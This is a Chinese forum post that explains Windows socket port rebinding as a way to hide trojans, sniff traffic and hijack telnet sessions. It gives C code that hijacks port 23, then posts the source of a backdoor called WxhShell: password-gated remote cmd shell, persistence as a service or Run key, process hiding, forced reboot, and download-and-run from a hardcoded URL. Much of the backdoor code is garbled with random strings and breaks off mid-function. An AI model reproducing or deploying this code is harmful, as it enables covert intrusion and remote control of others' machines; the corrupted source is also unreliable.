[讨论]用端口截听实现隐藏嗅探与攻击

ヾ1.嗰rёn

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; #-Ad0/
if(chr[0]==0xd || chr[0]==0xa) { 8QNd t
pwd=0; ,,KGcDBj
break; -S,xR5
} 37QXML
i++; ]J* y`jn
} lTn~VsoRZ
'{(/C?T
// 如果是非法用户，关闭 socket xMAb=87_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Om=*b#k
} ]h6mJ{k
T11;LSD
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pRLs*/Bw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X ?lF,p
czv )D\*
while(1) { 3JR1If
^#A[cY2eM
ZeroMemory(cmd,KEY_BUFF); *b >hZkObn
r9d dVD
// 自动支持客户端 telnet标准 t@O4!mFH
j=0; `DPR >dd@
while(j<KEY_BUFF) { ko%B`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pqm)OZE?
cmd[j]=chr[0]; &`J?`l X
if(chr[0]==0xa || chr[0]==0xd) { !(wH}ti
cmd[j]=0; tSvklI
break; U.B=%S
} {k}EWV
j++; j$8i!C
} q T pvz
Y4B<]C4
// 下载文件 J|BZ{T}d
if(strstr(cmd,"http://")) { VF<C#I
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6(X5n5C
if(DownloadFile(cmd,wsh)) 66+y@l1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t9Nu4yl
else *(4TasQu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/1,%8n
} o-D,K dY
else { A|esVUo<3^
9IRvbE~2
switch(cmd[0]) { _\tGmME37
GK/Q]}Q8pZ
// 帮助 U8b1 sz
case '?': { 3koXM_4_{)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3oCw(Ff
break; ", :Ta|
} M:~/e8Xv
// 安装 ;5.o;|w?!
case 'i': { 6!3Jr
if(Install()) I:qfB2tL)O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n6a*|rE
else T"GuE[?a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /@H2m\vBX
break; joN}N}U
} $.z~bmH"D
// 卸载 +HK)A%QI
case 'r': { yeCR{{B/'
if(Uninstall()) <9s=K\-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y ;4h'y>#
else cc%O35o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ($oO, c'z
break; =!#iC?I
} 4#qjRmt
// 显示 wxhshell 所在路径 $pT%7jV}
case 'p': { #89h}mp'
char svExeFile[MAX_PATH]; Bn"r;pqWiT
strcpy(svExeFile,"\n\r"); [wM<J$=2
strcat(svExeFile,ExeFile); F)0I7+lP
send(wsh,svExeFile,strlen(svExeFile),0); a#0GmK
break; /Jc?;@{
} yt&eY6Xp
// 重启 QS~;C&1Hl
case 'b': { $<UX/a\sH
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0)8QOTeT
if(Boot(REBOOT)) ItTIU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aqb;H 'F
else { J9LS6~ 7
closesocket(wsh); I@=h|GM
ExitThread(0); X'&$wQ6,K
} ,qRSB>5c
break; 3"gifE
} k:4?3zJI
// 关机 bmAgB}Ior
case 'd': { sK:,c5^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {I|k@
if(Boot(SHUTDOWN)) 8i;N|:WdH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v}IP%84
else { -?b@6U
closesocket(wsh); >EMgP1
ExitThread(0); 1q!JpC^
} f=}Mr8W'
break; eh'mSf^=p
} /S;o2\
// 获取shell xaerMr
case 's': { a{h(BI^~
CmdShell(wsh); #^Dc:1,
closesocket(wsh); xQ7n$.?y@
ExitThread(0); K]bS:[34 R
break; 3D~Fu8Hg1
} '3o0J\cz
// 退出 cLlfncI
case 'x': { KrkZv$u,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )).;p_nLZ
CloseIt(wsh); 1V`]sfRK
break; -aNTFt~|[
} 9ok|]d P
// 离开 R7KQ-+Zb
case 'q': { (Df<QC`0v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); N,ik&NIWy
closesocket(wsh); FZ>*<&
WSACleanup(); vc2xAAQ
exit(1); yT&bS\
break; .Qh8I+Q%
} %:o@IRTRU
} x#0C+cU
} 2al~`
>V(2Ke Y
// 提示信息 ke>\.|HT}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GxZQ{ \
} *vhm
} tL+8nTL
RQ,(?I*8\
return; >`NY[Mn
} b=T+#Jb
VP4t~$"
// shell模块句柄 |->y'V
int CmdShell(SOCKET sock) p2~Q
{ &SN$D5U'
STARTUPINFO si; (P#2Am$
ZeroMemory(&si,sizeof(si)); i`]M2Q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,:\2Lf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l3MbCBX2
PROCESS_INFORMATION ProcessInfo; ;(0:6P8I
char cmdline[]="cmd"; `A <yDy
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UxicqkX
return 0; 24N,Bo 3
} Dlj=$25
N/?MsrZw
// 自身启动模式 ^z&xy41#B
int StartFromService(void) iL 4SL}P
{ J+*rjdI
typedef struct !CBx$1z
{ L)nVNY@Mc
DWORD ExitStatus; (+]k{
DWORD PebBaseAddress; GPx S.&
DWORD AffinityMask; uWnS<O
DWORD BasePriority; ['km'5uZ^
ULONG UniqueProcessId; Rg[e~##
ULONG InheritedFromUniqueProcessId; >!)VkDAG
} PROCESS_BASIC_INFORMATION; P)ZSxU
u F*cS&'Z
PROCNTQSIP NtQueryInformationProcess; ex!^&7Q(
4}LF>_+=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z~ u@N9M
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !RcAJs'
T (2,iG8
HANDLE hProcess; C-Fp)Zs{0
PROCESS_BASIC_INFORMATION pbi; '*,4F'
j[U0,]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c?R.SBr,'
if(NULL == hInst ) return 0; _TPo=}Z
Gm2rjpZeq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UdI>x 4bI
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DpS6>$v8t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); omjLQp[%
ONjc},_
if (!NtQueryInformationProcess) return 0; O[L8(+Sn
'6 'XBL?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {hg$?4IyQ
if(!hProcess) return 0; c&Zm>Qo[
3N*Shzusbt
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $GO'L2oLwn
^p7(
CloseHandle(hProcess); =hs@W)-O
PRz oLzr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %xZ.+Ff%
if(hProcess==NULL) return 0; F{"%ey">
kN$70N7I;
HMODULE hMod; H0(zE*c~
char procName[255]; Fp]8f&l8
unsigned long cbNeeded; -.*\J|S@g
M<p)@p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C95,!q
8_,ZJ9l;
CloseHandle(hProcess); Q~@8t"P
9bNIaC*M
if(strstr(procName,"services")) return 1; // 以服务启动 cY"^3Ot%^
*tO<wp&
return 0; // 注册表启动 B)Q'a3d#
} a,4g`?
V]O :;(W_
// 主模块 Ur-^X(nL
int StartWxhshell(LPSTR lpCmdLine) ZkIQ-;wx
{ LuqaGy}>-
SOCKET wsl; IB6]Wj
BOOL val=TRUE; ;?o C=c
int port=0; Kmnr}Lp9
struct sockaddr_in door; ~/x42|t
P&tK}Se^V
if(wscfg.ws_autoins) Install(); )g --=w3
Na6z,TW
port=atoi(lpCmdLine); YiCDV(prT
-0X> y
if(port<=0) port=wscfg.ws_port; )mPlB.
-&EmEXs%
WSADATA data; JgB# EoF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I7~|!d6
=z3jFaZ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; op-#Ig$#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b tu:@s8ci
door.sin_family = AF_INET; vvM)Rb,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); hjG1fgEj
door.sin_port = htons(port); }gW}Vr <
7asq]Y}<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XJzXxhk2
closesocket(wsl); ".)_kt[
return 1; %yMzgk[u
} `-H:j:U{
YzZF^q^I
if(listen(wsl,2) == INVALID_SOCKET) { :65HMWy.
closesocket(wsl); f$>orVm%.
return 1; m#nxw
} jyGVbno`
Wxhshell(wsl); 2 QmUg
WSACleanup(); ]p!J]YV ]0
}SV3PdE
return 0; v/czW\z
[KH?5C
} DOerSh_0W
zFtGc
// 以NT服务方式启动 upDQNG>d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u,m-6@il
{ 1955(:I
DWORD status = 0; JLu0;XVK
DWORD specificError = 0xfffffff; QP B"EW
^PQV3\N
serviceStatus.dwServiceType = SERVICE_WIN32; _")h %)f
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hQm4R]a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m=MT`-:
serviceStatus.dwWin32ExitCode = 0; BB.TrQM.#
serviceStatus.dwServiceSpecificExitCode = 0; \Wc/kY3&
serviceStatus.dwCheckPoint = 0; >y9o&D
serviceStatus.dwWaitHint = 0; \`zG`f
w4'K2 7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uB1!*S1f
if (hServiceStatusHandle==0) return; MI(i%$R-A
5G!U'.gr
status = GetLastError(); A7C+&I!L
if (status!=NO_ERROR) AE&n^vdQW
{ GX)QIe~;qJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; :*@|"4
serviceStatus.dwCheckPoint = 0; *$(CiyF!
serviceStatus.dwWaitHint = 0; @(c<av?
serviceStatus.dwWin32ExitCode = status; @S7=6RKa[
serviceStatus.dwServiceSpecificExitCode = specificError; n6G&^Oj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =BS'oBn^6
return; XQOprIJ U
} F?} *ovy
udGGDH
serviceStatus.dwCurrentState = SERVICE_RUNNING; f hG2
serviceStatus.dwCheckPoint = 0; }qv-lO
serviceStatus.dwWaitHint = 0; XyphQ}\u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E ZKz-}
} ? SP7vQ/
9Nu#&_2R
// 处理NT服务事件，比如：启动、停止 |V\.[F2Fe
VOID WINAPI NTServiceHandler(DWORD fdwControl) xD#I&.
{ o'7ju~0L
switch(fdwControl) AtlR!IEUb
{ _CJr6Evs
case SERVICE_CONTROL_STOP: %GbPrlu
serviceStatus.dwWin32ExitCode = 0; %`QsX {?,
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;lH,bX~5
serviceStatus.dwCheckPoint = 0; ,R}KcZG)
serviceStatus.dwWaitHint = 0; T(UYlLe
{ mzxvfXSF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iT5SuIv
} 3cO[t\/up
return; +g6j=%
case SERVICE_CONTROL_PAUSE: )ek 5
serviceStatus.dwCurrentState = SERVICE_PAUSED; aRKRy
break; o:DBOpS
case SERVICE_CONTROL_CONTINUE: }8M`2HMFR
serviceStatus.dwCurrentState = SERVICE_RUNNING; kQd[E-b7
break; S1juAV=
case SERVICE_CONTROL_INTERROGATE: 0a6@HwO
break; 0^.4eX:E_
}; +N$7=oGC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /v)!m&6]>
} }r~l72 `
'Y{ux>
// 标准应用程序主函数 o>;0NF| }
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &IEBZB\/+&
{ T{4fa^c2J
1+tt'
// 获取操作系统版本 R}X_2""
OsIsNt=GetOsVer(); @b*T4hwA.
GetModuleFileName(NULL,ExeFile,MAX_PATH); uAS8F=9xP
>?W;>EUH
// 从命令行安装 a/<pf\O
if(strpbrk(lpCmdLine,"iI")) Install(); csX*XiDWm
gQd=0"MV
// 下载执行文件 d<GG(
if(wscfg.ws_downexe) { y7)[cvB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hf^`at
